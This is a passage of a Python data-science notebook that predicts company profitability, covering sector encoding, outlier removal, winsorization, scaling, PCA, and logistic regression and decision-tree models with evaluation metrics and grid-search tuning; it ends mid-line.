In[91]:\n\n\ndf.Sector.value_counts()\n\n\n# In[92]:\n\n\nsector_list = list(df.Sector.unique())\n\n\n# In[93]:\n\n\nsector_list\n\n\n# In[94]:\n\n\npd.get_dummies(df.Sector, drop_first=True)\n\n\n# In[95]:\n\n\nSector_status = pd.get_dummies(df.Sector, drop_first=True)\n\n#Adding the result to the original housing dataframe\n\ndf = pd.concat([df, Sector_status], axis=1)\n\n\n# In[96]:\n\n\n# Droppig Sector Column as we are done with \ndf.drop(\"Sector\", axis=1, inplace=True)\n\n\n# In[97]:\n\n\ndf.shape\n\n\n# In[98]:\n\n\ndf.Energy.value_counts()\n\n\n# In[99]:\n\n\n# Sector Column will be dropped after Exploratory Data Analysis\n\n\n# In[100]:\n\n\ndf.head()\n\n\n# # Removing columns with single value\n\n# In[101]:\n\n\ndef removeSingleValue (col):\n length = len(df[col].value_counts())\n if (length<2):\n print(col)\n df.drop(col, axis=1, inplace=True)\n\n\n# In[102]:\n\n\nfor col in df.columns:\n removeSingleValue(col)\n\n\n# In[103]:\n\n\nnum_col = list(df.dtypes[df.dtypes !='object'].index)\n\n\n# In[104]:\n\n\nlen(num_col)\n\n\n# In[105]:\n\n\ndf.shape\n\n\n# ### Duplicate Row Checker\n\n# In[106]:\n\n\ndf.duplicated().sum()\n\n\n# In[107]:\n\n\n# Moving \"Class\" Column to end\ndf['Result'] = df.Class\ndf.drop(\"Class\", axis=1, inplace=True)\ndf = df.rename(columns={\"Result\":\"Class\"})\n\n\n# In[ ]:\n\n\n\n\n\n# In[108]:\n\n\ndf.head()\n\n\n# # Outlier Treatment\n\n# In[109]:\n\n\ndf.head()\n\n\n# ## Method 1 Standard Deviation Method\n# \n# Three standard deviations from the mean is a common cut-off in practice for identifying outliers in a Gaussian or Gaussian-like distribution. For smaller samples of data, perhaps a value of 2 standard deviations (95%) can be used, and for larger samples, perhaps a value of 4 standard deviations (99.9%) can be used.\n\n# In[110]:\n\n\ndf.shape\n\n\n# In[111]:\n\n\n# Extracting numerical columns from the telecom_df data frame.\nnumerical_cols = df.select_dtypes(include = np.number).columns.to_list()\n\n\n# In[112]:\n\n\n# calculate summary statistics\ndata = df[numerical_cols]\ndata_mean, data_std = np.mean(data), np.std(data)\n# identify outliers\ncut_off = data_std * 3\nlower, upper = data_mean - cut_off, data_mean + cut_off\n# identify outliers\noutliers = df[((df < lower) | (df > upper)).any(axis=1)]\nprint('Number of identified outliers: %d' % len(outliers))\n\n\n# In[113]:\n\n\n# remove outliers\noutliers_removed = df[~((df < lower) | (df > upper)).any(axis=1)]\nprint('Non-outlier observations: %d' % len(outliers_removed))\n\n\n# ## Method 2 IQR method\n# \n# The IQR can be used to identify outliers by defining limits on the sample values that are a factor k of the IQR below the 25th percentile or above the 75th percentile. The common value for the factor k is the value 1.5.\n\n# In[114]:\n\n\nQ1 = df.quantile(0.25)\nQ3 = df.quantile(0.75)\nIQR = Q3 - Q1\nprint(IQR)\n\n\n# In[115]:\n\n\noutliers_removed_IQR = df[~((df < (Q1 - 1.5 * IQR)) |(df > (Q3 + 1.5 * IQR))).any(axis=1)]\nprint('Non-outlier observations: %d' % len(outliers_removed_IQR))\n\n\n# ## Method 3: 99-1 percentile method\n\n# In[116]:\n\n\nQ1 = df.quantile(0.01)\nQ3 = df.quantile(0.99)\nIQR = Q3 - Q1\nprint(IQR)\n\n\n# In[117]:\n\n\noutliers_removed_IQR = df[~((df < (Q1 - 1.5 * IQR)) |(df > (Q3 + 1.5 * IQR))).any(axis=1)]\nprint('Non-outlier observations: %d' % len(outliers_removed_IQR))\n\n\n# In[118]:\n\n\n### We choose 99-1 percentile method for outlier treatment\ndf_99_1 = df[~((df < (Q1 - 1.5 * IQR)) |(df > (Q3 + 1.5 * IQR))).any(axis=1)]\n\n\n# In[119]:\n\n\ndf_99_1.shape\n\n\n# ## Method 4: 95-5 percentile method\n\n# In[120]:\n\n\nQ1 = df.quantile(0.05)\nQ3 = df.quantile(0.95)\nIQR = Q3 - Q1\n\n\n# In[121]:\n\n\noutliers_removed_IQR = df[~((df < (Q1 - 1.5 * IQR)) |(df > (Q3 + 1.5 * IQR))).any(axis=1)]\nprint('Non-outlier observations: %d' % len(outliers_removed_IQR))\n\n\n# In[122]:\n\n\n### We choose 95-5 percentile method for outlier treatment\ndf_95_5 = df[~((df < (Q1 - 1.5 * IQR)) |(df > (Q3 + 1.5 * IQR))).any(axis=1)]\n\n\n# In[123]:\n\n\ndf_95_5.shape\n\n\n# In[124]:\n\n\n# Selecting 99-1 percentile\n\n\n# In[125]:\n\n\ndf = df_99_1\n\n\n# # Observation\n# \n# We are losing a lot of data even if we perform 99-1 percentile outlier removal. Therefore, we need to explore other techniques\n\n# In[126]:\n\n\ndf.head()\n\n\n# In[127]:\n\n\n(df.isnull().sum() * 100 / len(df)).sort_values(ascending=False)\n\n\n# In[128]:\n\n\ndf.shape\n\n\n# # Winsorize\n\n# In[129]:\n\n\nsorted(sector_list)\n\n\n# In[130]:\n\n\ndf_winow = pd.DataFrame()\nfor col in df:\n if (col not in sector_list):\n df_winow[col] = winsorize(df[col], (0.1, 0.1))\n else:\n df_winow[col] = df[col].values\n\n\n# In[131]:\n\n\ndf_winow.shape\n\n\n# In[132]:\n\n\ndf['Communication Services'].value_counts()\n\n\n# In[133]:\n\n\ndf_winow.shape\n\n\n# In[134]:\n\n\ndf_winow\n\n\n# In[135]:\n\n\ndf_winow.Utilities.value_counts()\n\n\n# In[136]:\n\n\ndf_winow.Energy.value_counts()\n\n\n# In[137]:\n\n\nhig_neg_corr = list(df_winow.corr()['Class'].sort_values(ascending=True).index[0:5])\n\nfig = plt.figure(figsize=(20,12))\n\nax0=fig.add_subplot(2,2,1)\nax1=fig.add_subplot(2,2,2)\nax2=fig.add_subplot(2,2,3)\nax3=fig.add_subplot(2,2,4)\n\nsns.boxplot(df_winow[hig_neg_corr[0]], hue=\"Class\", data=df_winow, ax=ax0)\nsns.boxplot(df_winow[hig_neg_corr[1]], hue=\"Class\", data=df_winow, ax=ax1)\nsns.boxplot(df_winow[hig_neg_corr[2]], hue=\"Class\", data=df_winow, ax=ax2)\nsns.boxplot(df_winow[hig_neg_corr[3]], hue=\"Class\", data=df_winow, ax=ax3)\n\nsns.despine()\nplt.tight_layout()\nplt.plot()\n\n\n# In[138]:\n\n\nhig_pos_corr = list(df_winow.corr()['Class'].sort_values(ascending=False).index[1:5])\n\nfig = plt.figure(figsize=(20,12))\n\nax0=fig.add_subplot(2,2,1)\nax1=fig.add_subplot(2,2,2)\nax2=fig.add_subplot(2,2,3)\nax3=fig.add_subplot(2,2,4)\n\nsns.boxplot(df_winow[hig_pos_corr[0]], hue=\"Class\", data=df_winow, ax=ax0)\nsns.boxplot(df_winow[hig_pos_corr[1]], hue=\"Class\", data=df_winow, ax=ax1)\nsns.boxplot(df_winow[hig_pos_corr[2]], hue=\"Class\", data=df_winow, ax=ax2)\nsns.boxplot(df_winow[hig_pos_corr[3]], hue=\"Class\", data=df_winow, ax=ax3)\n\nsns.despine()\nplt.tight_layout()\nplt.plot()\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# ## 15 percentile - 85 percentile\n\n# In[139]:\n\n\ndf_winow2 = pd.DataFrame()\nfor col in df:\n if(col not in sector_list):\n df_winow2[col] = winsorize(df[col], (0.15, 0.15))\n if(col in sector_list):\n df_winow2[col] = df[col].values\n\n\n# In[140]:\n\n\ndf_winow2.shape\n\n\n# In[141]:\n\n\nhig_neg_corr = list(df_winow2.corr()['Class'].sort_values(ascending=True).index[0:5])\n\nfig = plt.figure(figsize=(20,12))\n\nax0=fig.add_subplot(2,2,1)\nax1=fig.add_subplot(2,2,2)\nax2=fig.add_subplot(2,2,3)\nax3=fig.add_subplot(2,2,4)\n\nsns.boxplot(df_winow2[hig_neg_corr[0]], hue=\"Class\", data=df_winow2, ax=ax0)\nsns.boxplot(df_winow2[hig_neg_corr[1]], hue=\"Class\", data=df_winow2, ax=ax1)\nsns.boxplot(df_winow2[hig_neg_corr[2]], hue=\"Class\", data=df_winow2, ax=ax2)\nsns.boxplot(df_winow2[hig_neg_corr[3]], hue=\"Class\", data=df_winow2, ax=ax3)\n\nsns.despine()\nplt.tight_layout()\nplt.plot()\n\n\n# In[142]:\n\n\nhig_pos_corr = list(df_winow2.corr()['Class'].sort_values(ascending=False).index[1:5])\n\nfig = plt.figure(figsize=(20,12))\n\nax0=fig.add_subplot(2,2,1)\nax1=fig.add_subplot(2,2,2)\nax2=fig.add_subplot(2,2,3)\nax3=fig.add_subplot(2,2,4)\n\nsns.boxplot(df_winow2[hig_pos_corr[0]], hue=\"Class\", data=df_winow2, ax=ax0)\nsns.boxplot(df_winow2[hig_pos_corr[1]], hue=\"Class\", data=df_winow2, ax=ax1)\nsns.boxplot(df_winow2[hig_pos_corr[2]], hue=\"Class\", data=df_winow2, ax=ax2)\nsns.boxplot(df_winow2[hig_pos_corr[3]], hue=\"Class\", data=df_winow2, ax=ax3)\n\nsns.despine()\nplt.tight_layout()\nplt.plot()\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[143]:\n\n\nfrom sklearn.feature_selection import VarianceThreshold\n\nvar_thr = VarianceThreshold(threshold = 0.15) #Removing both constant and quasi-constant\nvar_thr.fit(df_winow2)\n\nvar_thr.get_support()\n\n\n# In[144]:\n\n\nconcol = [column for column in df_winow2.columns \n if column not in df_winow2.columns[var_thr.get_support()]]\n\nfor features in concol:\n print(features)\n\n\n# In[145]:\n\n\nlen(concol)\n\n\n# In[146]:\n\n\ndf_winow2.shape\n\n\n# In[147]:\n\n\n# df_winow2.drop(concol, axis=1, inplace=True)\n\n\n# # Observation\n# \n# We get a balanced data with Winsorize 15-85\n\n# In[148]:\n\n\ndf = df_winow2\n\n\n# ## Train Test Split\n\n# In[149]:\n\n\nmy_cv = 5\n\n\n# In[150]:\n\n\nX = df.drop('Class', axis = 1)\ny = df[['Class']]\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, train_size = 0.8, test_size = 0.2, random_state = 123)\n\nprint(X_train.shape)\nprint(y_train.shape)\nprint(X_test.shape)\nprint(y_test.shape)\n\n\n# In[151]:\n\n\ny_train_reshape = pd.DataFrame(y_train.values.reshape(-1,1))\nprint(\"Counts of label '1': {}\".format((y_train_reshape==1).sum()[0]))\nprint(\"Counts of label '0': {} \\n\".format((y_train_reshape==0).sum()[0]))\n\ny_train_1 = (y_train_reshape==1).sum()[0]\nprint(\"Percentage of Profitable Company : {}% \\n\".format(round(y_train_1/len(y_train_reshape)*100,2)))\n\n\n# # Scalers\n\n# In[152]:\n\n\n#Importing the PCA module\n\npca = PCA(random_state=42)\npca_again = PCA(0.95)\n\n\n# ## MinMax Scaler\n\n# In[153]:\n\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, train_size = 0.8, test_size = 0.2, random_state = 123)\n\n\n# In[154]:\n\n\nscaler = MinMaxScaler()\n\n\nX_train = scaler.fit_transform(X_train)\nX_test = scaler.transform(X_test)\n\n\n# In[155]:\n\n\nX_train_pca_mm = pca_again.fit_transform(X_train)\n\n\n# In[156]:\n\n\nX_train_pca_mm.shape\n\n\n# In[157]:\n\n\n# Tranforming X_Test\nX_test_pca_mm = pca_again.transform(X_test)\nX_test_pca_mm.shape\n\n\n# In[158]:\n\n\n#Doing the PCA on the train data\npca.fit(X_train)\n\n\n# In[159]:\n\n\n#Making the screeplot - plotting the cumulative variance against the number of components\nget_ipython().run_line_magic('matplotlib', 'inline')\nfig = plt.figure(figsize = (12,8))\nplt.vlines(x = X_train_pca_mm.shape[1],ymax = 1,ymin = 0,colors = 'r',linestyles = '--')\nplt.hlines(y = 0.95, xmax = 70,xmin = 0,colors = 'g',linestyles = '--')\nplt.plot(np.cumsum(pca.explained_variance_ratio_))\nplt.xlabel('number of components')\nplt.ylabel('cumulative explained variance')\n\nsns.despine()\nplt.show()\n\n\n# In[ ]:\n\n\n\n\n\n# In[160]:\n\n\npca = PCA(n_components=5)\n\n\n# In[161]:\n\n\nscaler = MinMaxScaler()\n\n\n# In[162]:\n\n\nscaled_df=df_winow2.copy()\nscaled_df=pd.DataFrame(scaler.fit_transform(scaled_df), columns=scaled_df.columns)\npca_fit = pca.fit(scaled_df)\n\n\n# In[ ]:\n\n\n\n\n\n# In[163]:\n\n\nfig = plt.figure(figsize=(14,5))\nPC_values = np.arange(pca_fit.n_components_) + 1\n\nplt.plot(PC_values, pca_fit.explained_variance_ratio_, 'o-', linewidth=2, color='blue')\nplt.title('Scree Plot')\nplt.xlabel('Principal Component')\nplt.ylabel('Variance Explained')\n\nplt.show()\n\n\n# In[164]:\n\n\nprint(pca_fit.explained_variance_ratio_)\n\n\n# ## StandardScaler\n\n# In[ ]:\n\n\n\n\n\n# In[165]:\n\n\n#Importing the PCA module\n\npca = PCA(random_state=42)\npca_again = PCA(0.95)\n\n\n# In[166]:\n\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, train_size = 0.8, test_size = 0.2, random_state = 123)\n\n\n# In[167]:\n\n\nscaler = StandardScaler()\n\n\nX_train = scaler.fit_transform(X_train)\nX_test = scaler.transform(X_test)\n\n\n# In[168]:\n\n\nX_train_pca_std = pca_again.fit_transform(X_train)\n\n\n# In[169]:\n\n\nX_train_pca_std.shape\n\n\n# In[170]:\n\n\n# Tranforming X_Test\nX_test_pca_std = pca_again.transform(X_test)\nX_test_pca_std.shape\n\n\n# In[171]:\n\n\n#Doing the PCA on the train data\npca.fit(X_train)\n\n\n# In[172]:\n\n\n#Making the screeplot - plotting the cumulative variance against the number of components\nget_ipython().run_line_magic('matplotlib', 'inline')\nfig = plt.figure(figsize = (12,8))\nplt.vlines(x = X_train_pca_std.shape[1],ymax = 1,ymin = 0,colors = 'r',linestyles = '--')\nplt.hlines(y = 0.95, xmax = 70,xmin = 0,colors = 'g',linestyles = '--')\nplt.plot(np.cumsum(pca.explained_variance_ratio_))\nplt.xlabel('number of components')\nplt.ylabel('cumulative explained variance')\n\nsns.despine()\nplt.show()\n\n\n# In[ ]:\n\n\n\n\n\n# In[173]:\n\n\npca = PCA(n_components=5)\n\n\n# In[174]:\n\n\nscaler = StandardScaler()\n\n\n# In[175]:\n\n\nscaled_df=df_winow2.copy()\nscaled_df=pd.DataFrame(scaler.fit_transform(scaled_df), columns=scaled_df.columns)\npca_fit = pca.fit(scaled_df)\n\n\n# In[ ]:\n\n\n\n\n\n# In[176]:\n\n\nfig = plt.figure(figsize=(14,5))\nPC_values = np.arange(pca_fit.n_components_) + 1\n\nplt.plot(PC_values, pca_fit.explained_variance_ratio_, 'o-', linewidth=2, color='blue')\nplt.title('Scree Plot')\nplt.xlabel('Principal Component')\nplt.ylabel('Variance Explained')\n\nplt.show()\n\n\n# In[177]:\n\n\nprint(pca_fit.explained_variance_ratio_)\n\n\n# In[ ]:\n\n\n\n\n\n# # Data Preparation for Modelling\n\n# In[178]:\n\n\nX = df_winow2.drop('Class', axis = 1)\ny = df_winow2[['Class']]\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, train_size = 0.8, test_size = 0.2, random_state = 100, stratify=y)\n\nprint(X_train.shape)\nprint(y_train.shape)\nprint(X_test.shape)\nprint(y_test.shape)\n\n\n# In[179]:\n\n\n# Normalize the data \n\nscaler = MinMaxScaler()\n\nscaled_data = scaler.fit_transform(X_train)\n\nX_train = pd.DataFrame(data = scaled_data, index = X_train.index, columns = X_train.columns)\nX_test = pd.DataFrame(data = scaler.transform(X_test), index = X_test.index, columns = X_test.columns)\n\n\n# In[ ]:\n\n\n\n\n\n# In[180]:\n\n\nprint(\"Before OverSampling, counts of label '1': {}\".format((y_train==1).sum()[0]))\nprint(\"Before OverSampling, counts of label '0': {} \\n\".format((y_train==0).sum()[0]))\n\ny_train_1 = (y_train==1).sum()[0]\nprint(\"Before OverSampling, churn event rate : {}% \\n\".format(round(y_train_1/len(y_train)*100,2)))\n\n\n# In[181]:\n\n\nsm_smot = smot(random_state=27, sampling_strategy=1)\nX_train_res, y_train_res = sm_smot.fit_resample(X_train, y_train)\nX_train_res = X_train\ny_train_res = y_train\n\n\n# # Defining functions for Modelling\n\n# In[182]:\n\n\n# Defining the function to plot the ROC Curve\n\ndef draw_roc (actual, probs):\n fpr, tpr, thresholds = metrics.roc_curve(actual, probs, drop_intermediate = False)\n \n auc_score = metrics.roc_auc_score(actual, probs)\n plt.figure(figsize=(7,5))\n plt.plot(fpr, tpr, label=\"ROC curve (area = %0.2f)\"%auc_score)\n \n plt.plot([0,1],[0,1],'k--')\n plt.xlim([0.0, 1.0])\n plt.ylim([0.0, 1.05])\n plt.xlabel(\"False Positive Rate or [1 - True Negative Rate]\")\n plt.ylabel(\"True Positive Rate\")\n plt.title(\"Receiver operating charactersitc example\")\n plt.legend(loc=\"lower right\")\n sns.despine()\n plt.tight_layout()\n plt.show()\n \n return fpr, tpr, thresholds\n\n\n# In[183]:\n\n\nmetricsdataframe=pd.DataFrame(columns=['Model',\n 'Train/Test',\n 'Roc_auc_score',\n 'Sensitivity',\n 'Specificity',\n 'FPR',\n 'Positive predictive value',\n 'Negative Predictive value',\n 'Precision',\n 'Accuracy',\n 'F1-Score'])\n\n\n# In[184]:\n\n\n# Defining function to get the evaluation metrics of the models.\ndef getModelMetrics(actual_Class=False,pred_Class=False,model_name='',train_or_test=''):\n\n confusion = metrics.confusion_matrix(actual_Class, pred_Class)\n\n TP = confusion[1,1] # true positive \n TN = confusion[0,0] # true negatives\n FP = confusion[0,1] # false positives\n FN = confusion[1,0] # false negatives\n \n\n \n Roc_auc_score=round(metrics.roc_auc_score(actual_Class,pred_Class),2)\n # Let's see the sensitivity of our logistic regression model\n Sensitivity=round((TP / float(TP+FN)),2)\n # Let us calculate specificity\n Specificity=round((TN / float(TN+FP)),2)\n # Calculate false postive rate - predicting profit when customer does not have profitted\n FPR=round((FP/ float(TN+FP)),2)\n # positive predictive value \n PositivePredictiveValue=round((TP / float(TP+FP)),2)\n # Negative predictive value\n NegativePredictiveValue=round((TN / float(TN+ FN)),2)\n # sklearn precision score value \n Precision=round(metrics.precision_score(actual_Class, pred_Class ),2)\n # Accuracy\n Accuracy = round(metrics.accuracy_score(actual_Class, pred_Class), 2)\n # F-1 Score\n F1_Score = round(metrics.f1_score(actual_Class, pred_Class), 2)\n \n \n print(\"Roc_auc_score : {}\".format(metrics.roc_auc_score(actual_Class,pred_Class)))\n # Let's see the sensitivity of our logistic regression model\n print('Sensitivity/Recall : {}'.format(TP / float(TP+FN)))\n # Let us calculate specificity\n print('Specificity: {}'.format(TN / float(TN+FP)))\n # Calculate false postive rate - predicting profit when customer does not have profitted\n print('False Positive Rate: {}'.format(FP/ float(TN+FP)))\n # positive predictive value \n print('Positive predictive value: {}'.format(TP / float(TP+FP)))\n # Negative predictive value\n print('Negative Predictive value: {}'.format(TN / float(TN+ FN)))\n # sklearn precision score value \n print('Precision: {}'.format(metrics.precision_score(actual_Class, pred_Class )))\n # sklearn precision score value \n print('Accuracy: {}'.format(metrics.accuracy_score(actual_Class, pred_Class )))\n #F1 Score\n print(\"F1 Score: {}\".format(metrics.f1_score(actual_Class, pred_Class )))\n \n# data_list=[model_name,train_or_test,Roc_auc_score,Sensitivity,Specificity,NegativePredictiveValue,Precision, ]\n data_list=[model_name,train_or_test,Roc_auc_score,Sensitivity,Specificity,FPR,PositivePredictiveValue,NegativePredictiveValue,Precision, Accuracy, F1_Score]\n series_metrics=pd.Series(data_list,index=metricsdataframe.columns)\n \n return series_metrics\n \n\n\n# In[185]:\n\n\n# Defining function to write the evaluation metrics of the models into data frame.\ndef WriteModelMetrics(series_metrics,metricsdataframe):\n metricsdataframe = metricsdataframe.append(series_metrics,ignore_index=True)\n return metricsdataframe\n\n\n# In[186]:\n\n\n# Function to find the optimal cutoff for classifing as Profit/non-profit\ndef findOptimalCutoff(df):\n \n # Let's create columns with different probability cutoffs \n numbers = [float(x)/10 for x in range(10)]\n for i in numbers:\n df[i] = df.Class_Prob.map( lambda x: 1 if x > i else 0)\n \n \n # Now let's calculate accuracy sensitivity and specificity for various probability cutoffs.\n cutoff_df = pd.DataFrame( columns = ['prob','accuracy','sensi','speci'])\n from sklearn.metrics import confusion_matrix\n \n num = [0.0,0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9]\n\n for i in num:\n cm1 = metrics.confusion_matrix(df.Class, df[i] )\n total1=sum(sum(cm1))\n accuracy = (cm1[0,0]+cm1[1,1])/total1\n \n speci = cm1[0,0]/(cm1[0,0]+cm1[0,1])\n sensi = cm1[1,1]/(cm1[1,0]+cm1[1,1])\n cutoff_df.loc[i] =[ i ,accuracy,sensi,speci]\n print(cutoff_df)\n \n # Let's plot accuracy sensitivity and specificity for various probabilities.\n cutoff_df.plot.line(x='prob', y=['accuracy','sensi','speci'])\n plt.figure(figsize=(7,5))\n plt.tight_layout()\n sns.despine()\n plt.show()\n\n\n# In[187]:\n\n\n# Calculating VIF \nfrom statsmodels.stats.outliers_influence import variance_inflation_factor\n# Defining a function to give VIF value \ndef vif_cal(X): \n vif = pd.DataFrame() \n vif['Features'] = X.columns\n vif['VIF'] = [variance_inflation_factor(X.values, i) for i in range(X.shape[1])] \n vif['VIF'] = round(vif['VIF'], 2)\n vif = vif.sort_values(by=\"VIF\", ascending=False)\n return vif\n\n\n# In[188]:\n\n\n# This method will result in the calculation of predicted value of the Class column.\ndef predictClassWithProb(model,X,y,prob,model_name='',train_or_test=''):\n \n # predict\n pred_probs = model.predict_proba(X)[:,1]\n \n y_df= pd.DataFrame({'Class':y.Class, 'Class_Prob':pred_probs})\n # Creating new column 'predicted' with 1 if Class_Prob>0.5 else 0\n y_df['final_predicted'] = y_df.Class_Prob.map( lambda x: 1 if x > prob else 0)\n # Let's see the head\n series_metrics=getModelMetrics(y_df.Class,y_df.final_predicted,model_name,train_or_test)\n return y_df,series_metrics\n\n\n# In[189]:\n\n\n# This method will perform cross-validation and the display the model report.\ndef modelfit(alg, X_train, y_train, performCV=True, cv_folds=my_cv):\n #Fit the algorithm on the data\n alg.fit(X_train, y_train)\n \n #Predict training set:\n dtrain_predictions = alg.predict(X_train)\n dtrain_predprob = alg.predict_proba(X_train)[:,1]\n \n #Perform cross-validation:\n if performCV:\n cv_score = cross_val_score(alg, X_train, y_train, cv=cv_folds, scoring='accuracy')\n \n #Print model report:\n print (\"\\nModel Report\")\n print (\"Accuracy : %.3g\" % metrics.roc_auc_score(y_train, dtrain_predictions))\n print (\"Recall/Sensitivity : %.3g\" % metrics.recall_score(y_train, dtrain_predictions))\n print (\"AUC Score (Train): %f\" % metrics.roc_auc_score(y_train, dtrain_predprob))\n \n if performCV:\n print (\"CV Score : Mean - %.3g | Std - %.3g | Min - %.3g | Max - %.3g\" % (np.mean(cv_score),np.std(cv_score),np.min(cv_score),np.max(cv_score)))\n \n\n\n# In[190]:\n\n\n# This method will plot accuracy of the model with the given param of model.\ndef plot_traintestAcc(score,param):\n scores = score\n # plotting accuracies with max_depth\n plt.figure()\n plt.plot(scores[\"param_\"+param], \n scores[\"mean_train_score\"], \n label=\"training accuracy\")\n plt.plot(scores[\"param_\"+param], \n scores[\"mean_test_score\"], \n label=\"test accuracy\")\n plt.xlabel(param)\n plt.ylabel(\"accuracy\")\n plt.legend()\n plt.show()\n\n\n# In[191]:\n\n\n# This method will plot accuracy of the random forest model.\ndef random_forst_feature_graph(grid_search, param):\n scores = grid_search.cv_results_\n plt.figure(figsize=(8,8))\n \n param = \"param_\"+param\n plt.plot(scores[param], \n scores[\"mean_train_score\"], \n label=\"Training accuracy\")\n\n plt.plot(scores[param], \n scores[\"mean_test_score\"], \n label=\"Test accuracy\")\n\n plt.xlabel(param)\n plt.ylabel(\"F1\")\n plt.legend()\n\n plt.tight_layout()\n sns.despine()\n plt.show()\n\n\n# # Modelling\n\n# In[192]:\n\n\nX_train = X_train_pca_mm\nX_test = X_test_pca_mm\n\n\n# In[193]:\n\n\nX_train_pca = X_train\ny_train_res = y_train\nX_test_pca = X_test\n# y_test = y_test\n\ny_train_res=y_train_res.values.reshape(-1,1)\n# y_test = y_test.values.reshape(-1,1)\n\n\n# In[194]:\n\n\nX_train_pca.shape\n\n\n# In[195]:\n\n\ny_train_res.shape\n\n\n# In[196]:\n\n\nX_test_pca.shape\n\n\n# In[197]:\n\n\ny_test.shape\n\n\n# In[198]:\n\n\ny_train_res = pd.DataFrame(y_train_res)\n\n\n# In[199]:\n\n\ny_train_res.rename(columns={0:\"Class\"}, inplace=True)\n\n\n# In[200]:\n\n\ny_train_res\n\n\n# In[201]:\n\n\ny_test \n\n\n# # 1. Logistic Regression\n\n# In[202]:\n\n\n# Creating Train-Test variables for Logistic Regression\nX_train_lr = pd.DataFrame(X_train_pca)\ny_train_lr = pd.DataFrame(y_train_res)\nX_test_lr = pd.DataFrame(X_test_pca)\ny_test_lr = y_test\n\n\n# In[203]:\n\n\nlogml = sm.GLM(y_train_lr, (sm.add_constant(X_train_lr)), family = sm.families.Binomial())\nlogml.fit().summary()\n\n\n# In[204]:\n\n\n# Checking for the VIF of the train data.\nvif = vif_cal(X_train_lr) \nvif\n\n\n# ### Observation\n# - There are no Columns which are highly correlated ---> VIF = 1\n# - There are not many columns whose coefficients are not statistically significant ----> p>0.05\n\n# In[205]:\n\n\nlg = LogisticRegression()\n\n\n# In[206]:\n\n\nmodelfit(lg, X_train_lr, y_train_lr)\n\n\n# In[207]:\n\n\n# predictions on Test data\npred_probs_test = lg.predict(X_test_lr)\ngetModelMetrics(y_test_lr,pred_probs_test)\n\n\n# In[208]:\n\n\nprint(\"Accuracy : {}\".format(metrics.accuracy_score(y_test_lr,pred_probs_test)))\nprint(\"Recall : {}\".format(metrics.recall_score(y_test_lr,pred_probs_test)))\nprint(\"Precision : {}\".format(metrics.precision_score(y_test_lr,pred_probs_test)))\n\n\n# In[209]:\n\n\nprint(metrics.confusion_matrix(y_test_lr,pred_probs_test))\n\n\n# In[210]:\n\n\n#Making prediction on the test data\npred_probs_train = lg.predict_proba(X_train_lr)[:,1]\n\nprint(\"roc_auc_score(Train) {:2.2}\".format(metrics.roc_auc_score(y_train_lr, pred_probs_train)))\n\n\n# In[211]:\n\n\ny_train_lr.rename(columns={0:\"Class\"}, inplace=True)\n\ncut_off_prob=0.5\ny_train_df,series_metrics = predictClassWithProb(lg,X_train_lr,y_train_lr,cut_off_prob)\n\n\n# In[212]:\n\n\ndraw_roc(y_train_df.Class, y_train_df.final_predicted)\nprint(\"roc_auc_score : {:2.2f}\".format(metrics.roc_auc_score(y_train_df.Class, y_train_df.final_predicted)))\n\n\n# In[213]:\n\n\n#draw_roc(y_pred_final.Churn, y_pred_final.predicted)\nprint(\"roc_auc_score : {:2.2f}\".format(metrics.roc_auc_score(y_train_df.Class, y_train_df.final_predicted)))\n\n\n# In[214]:\n\n\n# finding cut-off with the right balance of the metrices\n# sensitivity vs specificity trade-off\nfindOptimalCutoff(y_train_df)\n\n\n# In[215]:\n\n\n# predicting with the choosen cut-off on TRAIN\ncut_off_prob = 0.5\ny_train_df,series_metrics = predictClassWithProb(lg,X_train_lr,y_train_lr,cut_off_prob,model_name='Logistic Regression',train_or_test='TRAIN')\nmetricsdataframe=WriteModelMetrics(series_metrics,metricsdataframe)\n\n\n# In[216]:\n\n\n### predicting with the choosen cut-off on TEST\ncut_off_prob=0.5\ny_train_df,series_metrics = predictClassWithProb(lg,X_test_lr,y_test_lr,cut_off_prob,model_name='Logistic Regression',train_or_test='TEST')\nmetricsdataframe=WriteModelMetrics(series_metrics,metricsdataframe)\n\n\n# #### \n\n# ## 2. Decision Tree\n\n# In[217]:\n\n\n# Creating Train-Test variables for Decision Tree\nX_train_dt = pd.DataFrame(X_train_pca)\ny_train_dt = pd.DataFrame(y_train_res)\nX_test_dt = pd.DataFrame(X_test_pca)\ny_test_dt = y_test\n\n\n# In[218]:\n\n\nX_train_dt.shape\n\n\n# In[219]:\n\n\ny_train_dt.shape\n\n\n# In[220]:\n\n\nX_test_dt.shape, y_test_dt.shape\n\n\n# In[221]:\n\n\n##### Applying Decision Tree Classifier on our principal components with Hyperparameter tuning\ndt = DecisionTreeClassifier(class_weight='balanced',\n max_features='auto',\n min_samples_split=100,\n min_samples_leaf=100,\n max_depth=10,\n random_state=123)\n\nmodelfit(dt, X_train_dt, y_train_dt)\n\n\n# In[222]:\n\n\n# make predictions\npred_probs_test = dt.predict(X_test_dt)\n\n#Let's check the model metrices.\n\ngetModelMetrics(y_test_dt,pred_probs_test)\n\n\n# In[223]:\n\n\n# Create the parameter grid based on the results of random search \nparam_grid = {\n 'max_depth': [5,10,15,20,30,50],\n 'min_samples_leaf': range(100, 500, 50),\n 'min_samples_split': range(100, 500, 50),\n 'max_features': [5,10,15,20,30,50]\n}\n# Create a base model\ndt = DecisionTreeClassifier(class_weight='balanced',random_state=123)\n\n# Instantiate the grid search model\ngrid_search = GridSearchCV(estimator = dt, param_grid = param_grid, cv = my_cv, n_jobs = -1,verbose = 1000,scoring=\"f1_weighted\")\n\n\n# In[224]:\n\n\n# Fit the grid search to the data\ngrid_search.fit(X_train_dt, y_train_dt)\n\n\n# In[225]:\n\n\n# printing the optimal accuracy score and hyperparameters\nprint('We can get score of',grid_search.best_score_,'using',grid_search.best_params_)\n\n\n# In[226]:\n\n\ncv_df = pd.DataFrame(grid_search.cv_results_)\ncv_df.head(3)\n\n\n# In[227]:\n\n\ncv_df.nlargest(3,\"mean_test_score\")\n\n\n# In[228]:\n\n\ngrid_search.best_score_\n\n\n# In[229]:\n\n\ngrid_search.best_estimator_\n\n\n# In[230]:\n\n\nparam_max_depth = cv_df.nlargest(3,\"mean_test_score\").param_max_depth.iloc[0]\nparam_max_features = 